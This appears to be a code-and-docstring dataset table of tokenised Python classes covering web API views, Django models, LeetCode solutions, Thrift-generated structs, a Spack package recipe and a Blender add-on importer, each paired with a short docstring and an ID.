code stringlengths 4 4.48k | docstring stringlengths 1 6.45k | _id stringlengths 24 24 |
|---|---|---|
@resource(collection_path=ALL_URLS['product_version_builds_collection'], path=ALL_URLS['product_version_build'], cors_policy=CORS_POLICY) <NEW_LINE> class ProductVersionBuilds: <NEW_LINE> <INDENT> def __init__(self, request, context=None): <NEW_LINE> <INDENT> self.request = request <NEW_LINE> self.build_info = BuildInfo(self.request.db) <NEW_LINE> <DEDENT> def collection_get(self): <NEW_LINE> <INDENT> return { 'builds': self.build_info.get_builds( self.request.matchdict['product_name'], version=self.request.matchdict['product_version'] ) } <NEW_LINE> <DEDENT> def get(self): <NEW_LINE> <INDENT> return { 'product': self.request.matchdict['product_name'], 'version': self.request.matchdict['product_version'], } | Handle the 'product versions builds' endpoints | 62598fe526238365f5fad261 |
class NeptuneLogger(): <NEW_LINE> <INDENT> def __init__(self, project_name, token=RAEYO_TOKEN, tags=None): <NEW_LINE> <INDENT> self.run = neptune.init(project=project_name, api_token=token, tags=tags) <NEW_LINE> <DEDENT> def save_metric(self, name, value): <NEW_LINE> <INDENT> self.run[name].log(value) <NEW_LINE> <DEDENT> def save_scripts(): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def stop(self): <NEW_LINE> <INDENT> self.run.stop() | logging metric using neptune.ai
- one exp has one logger | 62598fe5ad47b63b2c5a7f51 |
class Solution: <NEW_LINE> <INDENT> def missingNumber(self, nums): <NEW_LINE> <INDENT> n = len(nums) <NEW_LINE> expected_sum = int((n * (n + 1)) / 2) <NEW_LINE> return expected_sum - sum(nums) <NEW_LINE> <DEDENT> def missingNumber(self, nums): <NEW_LINE> <INDENT> missing = len(nums) <NEW_LINE> for i in range(len(nums)): <NEW_LINE> <INDENT> print(i) <NEW_LINE> missing = missing ^ i ^ nums[i] <NEW_LINE> <DEDENT> return missing <NEW_LINE> <DEDENT> def missingNumber(self, nums): <NEW_LINE> <INDENT> missing = len(nums) <NEW_LINE> for i in range(len(nums)): <NEW_LINE> <INDENT> missing = missing + i - nums[i] <NEW_LINE> <DEDENT> return missing | 1) Math. Sum of consective nums = n*(n+1) / 2
2) XOR
1 2 3 ... 10
Start with
3) Incrementingally sum-subtract
0 1 2 ... 10 iterativey add these
[....] iteratively subtract these | 62598fe5d8ef3951e32c81dc |
class CharPGPPublicKeyField(PGPPublicKeyFieldMixin, models.CharField): <NEW_LINE> <INDENT> pass | Char PGP public key encrypted field. | 62598fe5091ae35668705321 |
class PyMpmath(PythonPackage): <NEW_LINE> <INDENT> homepage = "http://mpmath.org" <NEW_LINE> pypi = "mpmath/mpmath-1.0.0.tar.gz" <NEW_LINE> version('1.1.0', sha256='fc17abe05fbab3382b61a123c398508183406fa132e0223874578e20946499f6') <NEW_LINE> version('1.0.0', sha256='04d14803b6875fe6d69e6dccea87d5ae5599802e4b1df7997bddd2024001050c') <NEW_LINE> version('0.19', sha256='68ddf6426dcda445323467d89892d2cffbbd1ae0b31ac1241b1b671749d63222') | A Python library for arbitrary-precision floating-point arithmetic. | 62598fe5c4546d3d9def7608 |
class OutputChannel(iointerface.OutputInterface): <NEW_LINE> <INDENT> _GPIO_DRIVER = None <NEW_LINE> def activate(self): <NEW_LINE> <INDENT> self._state = True <NEW_LINE> return self.state <NEW_LINE> <DEDENT> def deactivate(self): <NEW_LINE> <INDENT> self._state = False <NEW_LINE> return self.state <NEW_LINE> <DEDENT> def gpio(self): <NEW_LINE> <INDENT> return type(self)._GPIO_DRIVER | Mock concrete implementation of iointerface defined by the stage package | 62598fe5187af65679d29f79 |
class State(models.Model): <NEW_LINE> <INDENT> session = models.ForeignKey(Session, on_delete=models.CASCADE, related_name='state') <NEW_LINE> turn = models.PositiveIntegerField() <NEW_LINE> game_state = models.TextField() | Модель состояния игровой сессии | 62598fe5c4546d3d9def7609 |
class UserHouseListView(generic.ListView): <NEW_LINE> <INDENT> model = House <NEW_LINE> paginate_by = 6 <NEW_LINE> name = 'profile-house-list' <NEW_LINE> def get_queryset(self): <NEW_LINE> <INDENT> query_houses = House.objects.filter(user__username = self.kwargs['slug']).prefetch_related('user') <NEW_LINE> return query_houses <NEW_LINE> <DEDENT> def get_context_data(self, **kwargs): <NEW_LINE> <INDENT> context = super().get_context_data(**kwargs) <NEW_LINE> context['username'] = self.kwargs['slug'] <NEW_LINE> return context | Houses List by User | 62598fe5d8ef3951e32c81e1 |
class NumArray(object): <NEW_LINE> <INDENT> def __init__(self, nums): <NEW_LINE> <INDENT> self.accumulate = [0] <NEW_LINE> for n in nums: <NEW_LINE> <INDENT> self.accumulate += [self.accumulate[-1] + n] <NEW_LINE> <DEDENT> <DEDENT> def sumRange(self, i, j): <NEW_LINE> <INDENT> return self.accumulate[j+1] - self.accumulate[i] | Thanks Python version in https://leetcode.com/discuss/68725/5-lines-c-4-lines-python | 62598fe64c3428357761a9b9 |
class Date(validators.Validator): <NEW_LINE> <INDENT> def __call__(self, value): <NEW_LINE> <INDENT> if value is None: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> datetime.strptime(value, '%Y-%m-%d') <NEW_LINE> return value <NEW_LINE> <DEDENT> except ValueError: <NEW_LINE> <INDENT> raise ValueError('Unrecognized date value: {0}. Should be AAAA-MM-JJ'.format(value)) <NEW_LINE> <DEDENT> <DEDENT> def format(self, value): <NEW_LINE> <INDENT> if value is None: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> return six.text_type(value) | Validates Date option values. | 62598fe6ad47b63b2c5a7f5e |
class Event(UserDict): <NEW_LINE> <INDENT> schema = { "$schema": "http://json-schema.org/schema#", "type": "object", "properties": { "event_id": {"type": "string"}, "event_type": {"type": "string"}, "title": {"type": "string"}, "body": {"type": "string"}, "timestamp": {"type": "number"}, "sender": {"type": "string"}, "recipients": {"type": "array"}, "tags": {"type": "array"}, "expiration_datetime": { "type": ["datetime", "null"], }, }, "required": [ "event_id", "event_type", "title", "body", "timestamp", "sender", "recipients", "tags", "expiration_datetime" ], } <NEW_LINE> def __init__(self, event_id, event_type, title, body, timestamp=None, sender="", recipients=[], tags=[], expiration_datetime=None, **kwargs): <NEW_LINE> <INDENT> if not event_id: <NEW_LINE> <INDENT> event_id = str(uuid.uuid4()) <NEW_LINE> <DEDENT> if not timestamp: <NEW_LINE> <INDENT> timestamp = time.time() <NEW_LINE> <DEDENT> d = {"event_id": event_id, "event_type": event_type, "title": title, "body": body, "timestamp": timestamp, "sender": sender, "recipients": recipients, "tags": tags, "expiration_datetime": expiration_datetime} <NEW_LINE> UserDict.__init__(self, dict=d, **kwargs) <NEW_LINE> validator = Draft4Validator(Event.schema, types={"datetime": (datetime.datetime)}, format_checker=FormatChecker()) <NEW_LINE> validator.validate(self.data) <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return self.to_json() <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def to_datetime(dt_format): <NEW_LINE> <INDENT> datetime_format = "%a, %d %b %Y %H:%M:%S GMT" <NEW_LINE> return datetime.datetime.strptime(dt_format, datetime_format) <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def from_json(cls, event_json): <NEW_LINE> <INDENT> d = loads(event_json) <NEW_LINE> expiration = d["expiration_datetime"] <NEW_LINE> if expiration: <NEW_LINE> <INDENT> d["expiration_datetime"] = cls.to_datetime(expiration) <NEW_LINE> <DEDENT> return cls(**d) <NEW_LINE> <DEDENT> def to_json(self): <NEW_LINE> <INDENT> return dumps(self.data) | Event is a signal which models a type of notification.
It's fully customizable and allow to represent the business model
by extending it. | 62598fe6c4546d3d9def760d |
class Pluses(Shapes): <NEW_LINE> <INDENT> def __init__(self, hatch, density): <NEW_LINE> <INDENT> verts = [ (0.4, 0.8), (0.4, 0.0), (0.0, 0.4), (0.8, 0.4), ] <NEW_LINE> codes = [Path.MOVETO, Path.LINETO, Path.MOVETO, Path.LINETO, ] <NEW_LINE> path = Path(verts, codes, closed=False) <NEW_LINE> self.shape_vertices = path.vertices <NEW_LINE> self.shape_codes = path.codes <NEW_LINE> self.num_rows = hatch.count('p') * density <NEW_LINE> self.size = 0.5 <NEW_LINE> super().__init__(hatch, density) | Attempt at USGS pattern 721, 327 | 62598fe626238365f5fad274 |
class Snapshot(datatype([('directory_digest', Digest), ('files', tuple), ('dirs', tuple)])): <NEW_LINE> <INDENT> @property <NEW_LINE> def is_empty(self): <NEW_LINE> <INDENT> return self == EMPTY_SNAPSHOT | A Snapshot is a collection of file paths and dir paths fingerprinted by their names/content.
Snapshots are used to make it easier to isolate process execution by fixing the contents
of the files being operated on and easing their movement to and from isolated execution
sandboxes. | 62598fe6ad47b63b2c5a7f62 |
class CNNGeometricDecoder(nn.Module): <NEW_LINE> <INDENT> def __init__(self, sample, output_dim=6, fr_kernel_sizes=[3,3,3], fr_channels=[128,64,32], corr_type='3D'): <NEW_LINE> <INDENT> super(CNNGeometricDecoder, self).__init__() <NEW_LINE> assert len(fr_channels)==len(fr_kernel_sizes), 'The list of channels must match the list of kernel sizes in length.' <NEW_LINE> self.correlater = FeatureCorrelation(shape=corr_type) <NEW_LINE> with torch.no_grad(): <NEW_LINE> <INDENT> output = self.__test_forward(sample) <NEW_LINE> <DEDENT> fe_output_shape = output.size()[1:] <NEW_LINE> self.regresser = FeatureRegression(output_dim=output_dim, input_shape=fe_output_shape, kernel_sizes=fr_kernel_sizes, channels=fr_channels) <NEW_LINE> <DEDENT> def forward(self, feature_A, feature_B): <NEW_LINE> <INDENT> correlation = self.correlater(feature_A[-1], feature_B[-1]) <NEW_LINE> theta = self.regresser(correlation) <NEW_LINE> return theta <NEW_LINE> <DEDENT> def __test_forward(self, sample): <NEW_LINE> <INDENT> correlation = self.correlater(sample, sample) <NEW_LINE> return correlation | This is the code written with reference to https://github.com/ignacio-rocco/cnngeometric_pytorch | 62598fe64c3428357761a9c1 |
class UnknownBackupIdException(Exception): <NEW_LINE> <INDENT> pass | The searched backup_id doesn't exists | 62598fe6fbf16365ca7947d8 |
@register_storage("storage", "0.0.1", {"root": str}) <NEW_LINE> class StorageStorage(AbstractStorage): <NEW_LINE> <INDENT> def __init__(self, root: str) -> None: <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.__root = Path(root) <NEW_LINE> self.__head = _STORAGE_HEAD <NEW_LINE> self.__list_file = _STORAGE_LIST <NEW_LINE> self.__meta: Optional[str] = None <NEW_LINE> self.__storages: Optional[list] = None <NEW_LINE> self.__hash_to_storage: dict = {} <NEW_LINE> <DEDENT> def test(self, hash_val): <NEW_LINE> <INDENT> return self.__meta == hash_val <NEW_LINE> <DEDENT> @contextmanager <NEW_LINE> def open(self, path): <NEW_LINE> <INDENT> path = Path(path) <NEW_LINE> path = path if path.absolute() else Path(self.__root) / path <NEW_LINE> with self.parent.open(path) as file_obj: <NEW_LINE> <INDENT> yield file_obj <NEW_LINE> <DEDENT> <DEDENT> def load(self) -> None: <NEW_LINE> <INDENT> with self.open(self.__head) as head: <NEW_LINE> <INDENT> self.__meta = head.read().rstrip() <NEW_LINE> <DEDENT> storages: list = [] <NEW_LINE> with self.open(self.__list_file) as list_file: <NEW_LINE> <INDENT> for line in list_file: <NEW_LINE> <INDENT> obj = json.loads(line) <NEW_LINE> hash_val = obj["hash"] <NEW_LINE> type_val = obj["type"] <NEW_LINE> args = obj["args"] <NEW_LINE> storage = _STORAGE_DICT[type_val](**args) <NEW_LINE> storage.parent = self <NEW_LINE> storages.append(storage) <NEW_LINE> self.__hash_to_storage[hash_val] = storage <NEW_LINE> <DEDENT> <DEDENT> self.__storages = storages | storageのstorage
/path/to/storage/{_STORAGE_HEAD}: storage hash
/path/to/storage/{_STORAGE_LIST}:
{"hash": ..., "type": ..., "version": ..., "args": {"key": val}}
{"hash": ..., "type": "storage", "version": ..., "args": {"root": /path/to/other_storage}} | 62598fe64c3428357761a9c3 |
class StorageSamplesContainer(StorageLayoutContainer): <NEW_LINE> <INDENT> implements(IStorageSamplesContainer) <NEW_LINE> schema = schema <NEW_LINE> default_samples_capacity = 1 <NEW_LINE> def is_object_allowed(self, object_brain_uid): <NEW_LINE> <INDENT> obj = api.get_object(object_brain_uid) <NEW_LINE> return IAnalysisRequest.providedBy(obj) <NEW_LINE> <DEDENT> def add_object_at(self, object_brain_uid, row, column): <NEW_LINE> <INDENT> if not self.can_add_object(object_brain_uid, row, column): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> sample = api.get_object(object_brain_uid) <NEW_LINE> stored = super(StorageSamplesContainer, self).add_object_at( sample, row, column) <NEW_LINE> if not stored: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> self.reindexObject(idxs=["get_samples_uids", "is_full"]) <NEW_LINE> sample = api.get_object(sample) <NEW_LINE> wf.doActionFor(sample, "store") <NEW_LINE> return stored <NEW_LINE> <DEDENT> def remove_object(self, object_brain_uid, notify_parent=True): <NEW_LINE> <INDENT> removed = super(StorageSamplesContainer, self).remove_object( object_brain_uid, notify_parent=notify_parent) <NEW_LINE> return removed <NEW_LINE> <DEDENT> def has_samples(self): <NEW_LINE> <INDENT> return len(self.get_samples_uids()) > 0 <NEW_LINE> <DEDENT> def get_samples_uids(self): <NEW_LINE> <INDENT> uids = map(lambda item: item.get("uid", ""), self.getPositionsLayout()) <NEW_LINE> return filter(api.is_uid, uids) <NEW_LINE> <DEDENT> def get_samples(self, as_brains=False): <NEW_LINE> <INDENT> samples_uids = self.get_samples_uids() <NEW_LINE> if not samples_uids: <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> query = dict(portal_type="AnalysisRequest", UID=samples_uids) <NEW_LINE> brains = api.search(query, SAMPLE_CATALOG) <NEW_LINE> if as_brains: <NEW_LINE> <INDENT> return brains <NEW_LINE> <DEDENT> return map(api.get_object, brains) <NEW_LINE> <DEDENT> def get_sample_types_uids(self): <NEW_LINE> <INDENT> samples_uids = self.get_samples_uids() <NEW_LINE> if not samples_uids: <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> query = dict(UID=samples_uids) <NEW_LINE> brains = api.search(query, SAMPLE_CATALOG) <NEW_LINE> return map(lambda brain: brain.getSampleTypeUID, brains) | Container for the storage of samples
| 62598fe64c3428357761a9c5 |
class UserSerializerFetch(serializers.ModelSerializer): <NEW_LINE> <INDENT> email_id = serializers.EmailField(max_length=255) <NEW_LINE> password = serializers.CharField(max_length=255, write_only=True, required=True) <NEW_LINE> class Meta: <NEW_LINE> <INDENT> model = User <NEW_LINE> fields = ['email_id', 'password'] | serializer for user model | 62598fe6fbf16365ca7947dc |
class InquiryPriceRunInstancesResponse(AbstractModel): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.Price = None <NEW_LINE> self.RequestId = None <NEW_LINE> <DEDENT> def _deserialize(self, params): <NEW_LINE> <INDENT> if params.get("Price") is not None: <NEW_LINE> <INDENT> self.Price = Price() <NEW_LINE> self.Price._deserialize(params.get("Price")) <NEW_LINE> <DEDENT> self.RequestId = params.get("RequestId") | InquiryPriceRunInstances返回参数结构体
| 62598fe6187af65679d29f84 |
class BuildThriftClients(setuptools.Command): <NEW_LINE> <INDENT> user_options = [] <NEW_LINE> def initialize_options(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def finalize_options(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def run(self): <NEW_LINE> <INDENT> _log.info('Build Thrift code') <NEW_LINE> try: <NEW_LINE> <INDENT> self._try_run() <NEW_LINE> <DEDENT> except Exception as err: <NEW_LINE> <INDENT> _log.error("error in BuildThriftClients.run: {}".format(err)) <NEW_LINE> raise <NEW_LINE> <DEDENT> <DEDENT> def _try_run(self): <NEW_LINE> <INDENT> for dirpath, dirnames, filenames in os.walk("thrift/specs"): <NEW_LINE> <INDENT> for f in filter(lambda _: _.endswith('.thrift'), filenames): <NEW_LINE> <INDENT> spec_path = os.path.abspath(os.path.join(dirpath, f)) <NEW_LINE> for lang in client_languages: <NEW_LINE> <INDENT> settings = thrift_build[lang] <NEW_LINE> if os.path.exists(settings.generated_dir): <NEW_LINE> <INDENT> shutil.rmtree(settings.generated_dir) <NEW_LINE> <DEDENT> cmd = ["thrift", "-r", "--gen", settings.style, spec_path] <NEW_LINE> _log.debug("{}: Thrift command = {}".format(lang, cmd)) <NEW_LINE> errno = call_command(cmd, is_thrift=True) <NEW_LINE> if errno != 0: <NEW_LINE> <INDENT> raise Exception("Thrift build for {} failed with : {}" .format(lang, errno)) <NEW_LINE> <DEDENT> generated_files = glob.glob(settings.generated_dir + "/*/*") <NEW_LINE> if len(generated_files) == 0: <NEW_LINE> <INDENT> generated_files = glob.glob(thrift_build[ lang].generated_dir + "/*") <NEW_LINE> <DEDENT> copied = False <NEW_LINE> if settings.copy_files == ["*"]: <NEW_LINE> <INDENT> destination = spec_path.rsplit("/",1)[0].replace( "specs", "stubs/" + lang) <NEW_LINE> for name in generated_files: <NEW_LINE> <INDENT> source = os.path.basename(name) <NEW_LINE> shutil.copyfile(name, os.path.join(destination, source)) <NEW_LINE> <DEDENT> copied = len(generated_files) > 0 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> for x in generated_files: <NEW_LINE> <INDENT> for name in settings.copy_files: <NEW_LINE> <INDENT> if name == os.path.basename(x): <NEW_LINE> <INDENT> destination = spec_path.rsplit("/",1)[0] .replace("specs", "stubs/" + lang) <NEW_LINE> shutil.copyfile(x, os.path.join(destination, name)) <NEW_LINE> <DEDENT> copied = True <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> if not copied: <NEW_LINE> <INDENT> raise Exception("Unable to find thrift-generated " "files to copy!") <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> for lang in client_languages: <NEW_LINE> <INDENT> settings = thrift_build[lang] <NEW_LINE> shutil.rmtree(settings.generated_dir) | Build command for generating Thrift client code | 62598fe6091ae3566870533b |
class JobCredential(ProxyResource): <NEW_LINE> <INDENT> _validation = { 'id': {'readonly': True}, 'name': {'readonly': True}, 'type': {'readonly': True}, 'username': {'required': True}, 'password': {'required': True}, } <NEW_LINE> _attribute_map = { 'id': {'key': 'id', 'type': 'str'}, 'name': {'key': 'name', 'type': 'str'}, 'type': {'key': 'type', 'type': 'str'}, 'username': {'key': 'properties.username', 'type': 'str'}, 'password': {'key': 'properties.password', 'type': 'str'}, } <NEW_LINE> def __init__(self, *, username: str, password: str, **kwargs) -> None: <NEW_LINE> <INDENT> super(JobCredential, self).__init__(**kwargs) <NEW_LINE> self.username = username <NEW_LINE> self.password = password | A stored credential that can be used by a job to connect to target
databases.
Variables are only populated by the server, and will be ignored when
sending a request.
All required parameters must be populated in order to send to Azure.
:ivar id: Resource ID.
:vartype id: str
:ivar name: Resource name.
:vartype name: str
:ivar type: Resource type.
:vartype type: str
:param username: Required. The credential user name.
:type username: str
:param password: Required. The credential password.
:type password: str | 62598fe6ad47b63b2c5a7f6e |
class Tournament(models.Model): <NEW_LINE> <INDENT> name = models.CharField(max_length=255) <NEW_LINE> description = models.TextField(blank=True) <NEW_LINE> type = models.CharField(max_length=1, choices=TOURNAMENT_TYPES) <NEW_LINE> game = models.ForeignKey(Game) <NEW_LINE> started = models.DateTimeField(auto_now_add=True) <NEW_LINE> def tree_size(self): <NEW_LINE> <INDENT> return bound(self.allocation_set.count()) <NEW_LINE> <DEDENT> def is_in_progress(self): <NEW_LINE> <INDENT> return not bool(self.match_set.filter(round=log(self.tree_size(),2))) <NEW_LINE> <DEDENT> def in_play(self): <NEW_LINE> <INDENT> return self.allocation_set.exclude(losses__tournament=self) <NEW_LINE> <DEDENT> def is_not_full(self): <NEW_LINE> <INDENT> return self.allocation_set.count() <= 32 <NEW_LINE> <DEDENT> def is_elim_cup(self): <NEW_LINE> <INDENT> return self.type == 'S' <NEW_LINE> <DEDENT> def __unicode__(self): <NEW_LINE> <INDENT> return self.name | Currently assumes allocations are only powers of 2 | 62598fe6c4546d3d9def7615 |
class ClusterUpgradeRequest(base.APIBase): <NEW_LINE> <INDENT> max_batch_size = wtypes.IntegerType(minimum=1) <NEW_LINE> nodegroup = wtypes.StringType(min_length=1, max_length=255) <NEW_LINE> cluster_template = wtypes.StringType(min_length=1, max_length=255) | API object for handling upgrade requests.
This class enforces type checking and value constraints. | 62598fe6091ae3566870533f |
class createLocalUser_result: <NEW_LINE> <INDENT> thrift_spec = ( None, (1, TType.STRUCT, 'ouch1', (AccumuloException, AccumuloException.thrift_spec), None, ), (2, TType.STRUCT, 'ouch2', (AccumuloSecurityException, AccumuloSecurityException.thrift_spec), None, ), ) <NEW_LINE> def __init__(self, ouch1=None, ouch2=None,): <NEW_LINE> <INDENT> self.ouch1 = ouch1 <NEW_LINE> self.ouch2 = ouch2 <NEW_LINE> <DEDENT> def read(self, iprot): <NEW_LINE> <INDENT> if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None: <NEW_LINE> <INDENT> fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) <NEW_LINE> return <NEW_LINE> <DEDENT> iprot.readStructBegin() <NEW_LINE> while True: <NEW_LINE> <INDENT> (fname, ftype, fid) = iprot.readFieldBegin() <NEW_LINE> if ftype == TType.STOP: <NEW_LINE> <INDENT> break <NEW_LINE> <DEDENT> if fid == 1: <NEW_LINE> <INDENT> if ftype == TType.STRUCT: <NEW_LINE> <INDENT> self.ouch1 = AccumuloException() <NEW_LINE> self.ouch1.read(iprot) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> iprot.skip(ftype) <NEW_LINE> <DEDENT> <DEDENT> elif fid == 2: <NEW_LINE> <INDENT> if ftype == TType.STRUCT: <NEW_LINE> <INDENT> self.ouch2 = AccumuloSecurityException() <NEW_LINE> self.ouch2.read(iprot) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> iprot.skip(ftype) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> iprot.skip(ftype) <NEW_LINE> <DEDENT> iprot.readFieldEnd() <NEW_LINE> <DEDENT> iprot.readStructEnd() <NEW_LINE> <DEDENT> def write(self, oprot): <NEW_LINE> <INDENT> if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None: <NEW_LINE> <INDENT> oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) <NEW_LINE> return <NEW_LINE> <DEDENT> oprot.writeStructBegin('createLocalUser_result') <NEW_LINE> if self.ouch1 is not None: <NEW_LINE> <INDENT> oprot.writeFieldBegin('ouch1', TType.STRUCT, 1) <NEW_LINE> self.ouch1.write(oprot) <NEW_LINE> oprot.writeFieldEnd() <NEW_LINE> <DEDENT> if self.ouch2 is not None: <NEW_LINE> <INDENT> oprot.writeFieldBegin('ouch2', TType.STRUCT, 2) <NEW_LINE> self.ouch2.write(oprot) <NEW_LINE> oprot.writeFieldEnd() <NEW_LINE> <DEDENT> oprot.writeFieldStop() <NEW_LINE> oprot.writeStructEnd() <NEW_LINE> <DEDENT> def validate(self): <NEW_LINE> <INDENT> return <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> L = ['%s=%r' % (key, value) for key, value in self.__dict__.iteritems()] <NEW_LINE> return '%s(%s)' % (self.__class__.__name__, ', '.join(L)) <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> return isinstance(other, self.__class__) and self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not (self == other) | Attributes:
- ouch1
- ouch2 | 62598fe6c4546d3d9def7617 |
class KaleidoscopeImport(bpy.types.Operator, ImportHelper): <NEW_LINE> <INDENT> bl_idname = "kaleidoscope.install_files" <NEW_LINE> bl_label = "Install Files" <NEW_LINE> filename_ext = ".kal" <NEW_LINE> filter_glob = bpy.props.StringProperty( default="*.kal;*.zip", options={'HIDDEN'}, ) <NEW_LINE> def execute(self, context): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> zipref = zipfile.ZipFile(self.filepath, 'r') <NEW_LINE> path = os.path.dirname(__file__) <NEW_LINE> if (path != ""): <NEW_LINE> <INDENT> zipref.extractall(path) <NEW_LINE> zipref.close() <NEW_LINE> <DEDENT> bpy.context.scene.kaleidoscope_props.import_files = False <NEW_LINE> <DEDENT> except: <NEW_LINE> <INDENT> bpy.context.scene.kaleidoscope_props.import_files = True <NEW_LINE> <DEDENT> return {'FINISHED'} | Install .zip or .kal file in the add-on | 62598fe6091ae35668705341 |
class TestFrameGetAllNodesInformationRequest(unittest.TestCase): <NEW_LINE> <INDENT> def test_bytes(self): <NEW_LINE> <INDENT> frame = FrameGetAllNodesInformationRequest() <NEW_LINE> self.assertEqual(bytes(frame), b"\x00\x03\x02\x02\x03") <NEW_LINE> <DEDENT> def test_frame_from_raw(self): <NEW_LINE> <INDENT> frame = frame_from_raw(b"\x00\x03\x02\x02\x03") <NEW_LINE> self.assertTrue(isinstance(frame, FrameGetAllNodesInformationRequest)) <NEW_LINE> <DEDENT> def test_str(self): <NEW_LINE> <INDENT> frame = FrameGetAllNodesInformationRequest() <NEW_LINE> self.assertEqual(str(frame), "<FrameGetAllNodesInformationRequest/>") | Test class for FrameGetAllNodesInformationRequest. | 62598fe6ad47b63b2c5a7f74 |
class BlockingReadTest(RTCBaseTest): <NEW_LINE> <INDENT> PREREQUISITES = [qatest.PreReq("ReadTimeTest")] <NEW_LINE> def test_method(self): <NEW_LINE> <INDENT> self.info("RTC Driver (and Python rtc module) Test.") <NEW_LINE> self.irqcount = 0 <NEW_LINE> rtc = self.config.rtc <NEW_LINE> def _rtc_counter(): <NEW_LINE> <INDENT> irqcount = 0 <NEW_LINE> while irqcount < 5: <NEW_LINE> <INDENT> count, status = rtc.read() <NEW_LINE> irqcount += 1 <NEW_LINE> self.info(" counted %d (rtc count = %d, status = %s)" % (irqcount, count, status)) <NEW_LINE> <DEDENT> return irqcount <NEW_LINE> <DEDENT> rtc.update_interrupt_on() <NEW_LINE> self.info("Counting 5 update (1/sec) interrupts from reading /dev/rtc") <NEW_LINE> try: <NEW_LINE> <INDENT> irqcount = self.config.sched.iotimeout(_rtc_counter, timeout=7) <NEW_LINE> <DEDENT> except TimeoutError: <NEW_LINE> <INDENT> rtc.update_interrupt_off() <NEW_LINE> return self.failed("rtc.read() did not finish before timeout") <NEW_LINE> <DEDENT> rtc.update_interrupt_off() <NEW_LINE> self.assert_equal(irqcount, 5, "wrong count of timer events") <NEW_LINE> return self.passed("counted %d events" % (irqcount,)) | Normal blocking read. Use scheduler to force a timeout. | 62598fe6187af65679d29f89 |
class Production(Default): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self.DEBUG = False <NEW_LINE> self.SECRET_KEY = os.environ["SECRET_KEY"] <NEW_LINE> self.LOGGING["root"]["level"] = "INFO" <NEW_LINE> self.ROOT_URL = "https://caffeine.dd-decaf.eu" | Production settings. | 62598fe6ad47b63b2c5a7f76 |
class Family: <NEW_LINE> <INDENT> def __init__(self, letter, words): <NEW_LINE> <INDENT> self.letter = letter.upper() <NEW_LINE> self.words = [word for word in words if word.family == self.letter] | A class of a group of words | 62598fe6c4546d3d9def7619 |
class OkexAccountBalance(AccountBalance): <NEW_LINE> <INDENT> def normalize_response(self, json_response): <NEW_LINE> <INDENT> return { 'symbol': json_response['currency'], 'amount': json_response['amount'] } | Response items format:
{
'amount': 0.162,
'currency': 'btc',
} | 62598fe6ab23a570cc2d5102 |
class Reservation(core_models.TimeStampedModel): <NEW_LINE> <INDENT> STATUS_PENDING = "pending" <NEW_LINE> STATUS_CONFIRMED = "confirmed" <NEW_LINE> STATUS_CANCELED = "canceled" <NEW_LINE> STATUS_CHOICES = ( (STATUS_PENDING, "Pending"), (STATUS_CONFIRMED, "Confirmed"), (STATUS_CANCELED, "Canceled"), ) <NEW_LINE> objects = managers.CustomReservationManager() <NEW_LINE> status = models.CharField( max_length=12, choices=STATUS_CHOICES, default=STATUS_PENDING ) <NEW_LINE> default_time = timezone.now <NEW_LINE> check_in = models.DateField(default=default_time) <NEW_LINE> check_out = models.DateField(default=default_time) <NEW_LINE> guest = models.ForeignKey( "users.User", related_name="reservations", on_delete=models.CASCADE, null=True ) <NEW_LINE> room = models.ForeignKey( "rooms.Room", related_name="reservations", on_delete=models.CASCADE, null=True ) <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return f"{self.room} - {self.check_in}" <NEW_LINE> <DEDENT> def in_progress(self): <NEW_LINE> <INDENT> now = timezone.now().date() <NEW_LINE> return now >= self.check_in and now <= self.check_out <NEW_LINE> <DEDENT> in_progress.boolean = True <NEW_LINE> def is_finished(self): <NEW_LINE> <INDENT> now = timezone.now().date() <NEW_LINE> return now > self.check_out <NEW_LINE> <DEDENT> is_finished.boolean = True <NEW_LINE> def save(self, *args, **kwargs): <NEW_LINE> <INDENT> if self.pk is None: <NEW_LINE> <INDENT> start = self.check_in <NEW_LINE> end = self.check_out <NEW_LINE> difference = end - start <NEW_LINE> existing_booked_day = BookedDay.objects.filter( reservation__room=self.room, day__range=(start, end) ).exists() <NEW_LINE> if not existing_booked_day: <NEW_LINE> <INDENT> super().save(*args, **kwargs) <NEW_LINE> for i in range(difference.days + 1): <NEW_LINE> <INDENT> day = start + datetime.timedelta(days=i) <NEW_LINE> BookedDay.objects.create(day=day, reservation=self) <NEW_LINE> <DEDENT> return <NEW_LINE> <DEDENT> return super().save(*args, **kwargs) | Reservation Definition | 62598fe626238365f5fad28e |
